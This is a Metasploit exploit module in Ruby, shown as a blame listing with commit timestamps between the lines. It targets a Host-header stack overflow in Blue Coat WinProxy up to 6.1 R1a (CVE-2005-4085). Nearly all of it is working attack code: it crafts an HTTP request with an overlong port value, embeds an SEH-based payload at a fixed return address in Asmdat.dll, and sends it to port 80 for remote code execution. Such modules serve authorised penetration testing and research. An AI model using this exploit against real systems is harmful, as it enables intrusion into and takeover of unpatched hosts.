2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-08 06:26:30 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-01-08 06:26:30 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-01-08 06:26:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-12 05:58:09 +00:00
|
|
|
'Name' => 'Blue Coat WinProxy Host Header Overflow',
|
2006-01-08 06:26:30 +00:00
|
|
|
'Description' => %q{
|
2006-09-12 05:58:09 +00:00
|
|
|
This module exploits a buffer overflow in the Blue Coat Systems WinProxy
|
|
|
|
service by sending a long port value for the Host header in a HTTP
|
|
|
|
request.
|
2006-01-08 06:26:30 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-08 06:26:30 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-01-27 05:00:35 +00:00
|
|
|
'References' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
['CVE', '2005-4085'],
|
2006-09-12 05:58:09 +00:00
|
|
|
['BID', '16147'],
|
|
|
|
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
|
|
|
|
|
2006-01-08 06:26:30 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2006-01-08 10:38:35 +00:00
|
|
|
'Targets' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
|
|
|
|
],
|
|
|
|
|
|
|
|
'Privileged' => true,
|
|
|
|
|
|
|
|
'DisclosureDate' => 'January 5 2005',
|
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2006-01-27 05:00:35 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
2006-09-12 05:58:09 +00:00
|
|
|
], self.class)
|
2006-01-08 06:26:30 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sploit = "GET / HTTP/1.1" + "\r\n"
|
|
|
|
sploit += "Host: 127.0.0.1:"
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_english(31, payload_badchars)
|
2006-01-08 06:26:30 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[23, seh.length] = seh
|
|
|
|
sploit += "\r\n\r\n"
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
sock.get_once(-1, 3)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|